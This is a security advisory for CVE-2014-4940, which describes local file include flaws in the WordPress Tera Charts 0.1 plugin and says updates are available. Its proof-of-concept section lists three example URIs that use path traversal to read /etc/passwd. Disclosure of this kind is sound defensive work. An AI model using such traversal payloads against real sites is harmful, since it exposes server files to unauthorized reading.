WordPress Tera Charts Plugin CVE-2014-4940 Multiple Local File Include Vulnerabilities

BID:68662

Info

WordPress Tera Charts Plugin CVE-2014-4940 Multiple Local File Include Vulnerabilities

Bugtraq ID: 68662
Class: Input Validation Error
CVE: CVE-2014-4940
Remote: Yes
Local: No
Published: May 28 2014 12:00AM
Updated: May 28 2014 12:00AM
Credit: Anant Shrivastava
Vulnerable: WordPress Tera Charts 0.1
Not Vulnerable: WordPress Tera Charts 1.0

Discussion

WordPress Tera Charts Plugin CVE-2014-4940 Multiple Local File Include Vulnerabilities

Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.

Tera Charts 0.1 is vulnerable; other versions may also be affected.

Exploit / POC

WordPress Tera Charts Plugin CVE-2014-4940 Multiple Local File Include Vulnerabilities

The researcher who discovered these issues has created a proof-of-concept. Please see the references for more information.

The following example URIs are available:

http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
http://www.example.com/wp_test/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd

Solution / Fix

WordPress Tera Charts Plugin CVE-2014-4940 Multiple Local File Include Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

WordPress Tera Charts Plugin CVE-2014-4940 Multiple Local File Include Vulnerabilities

References:

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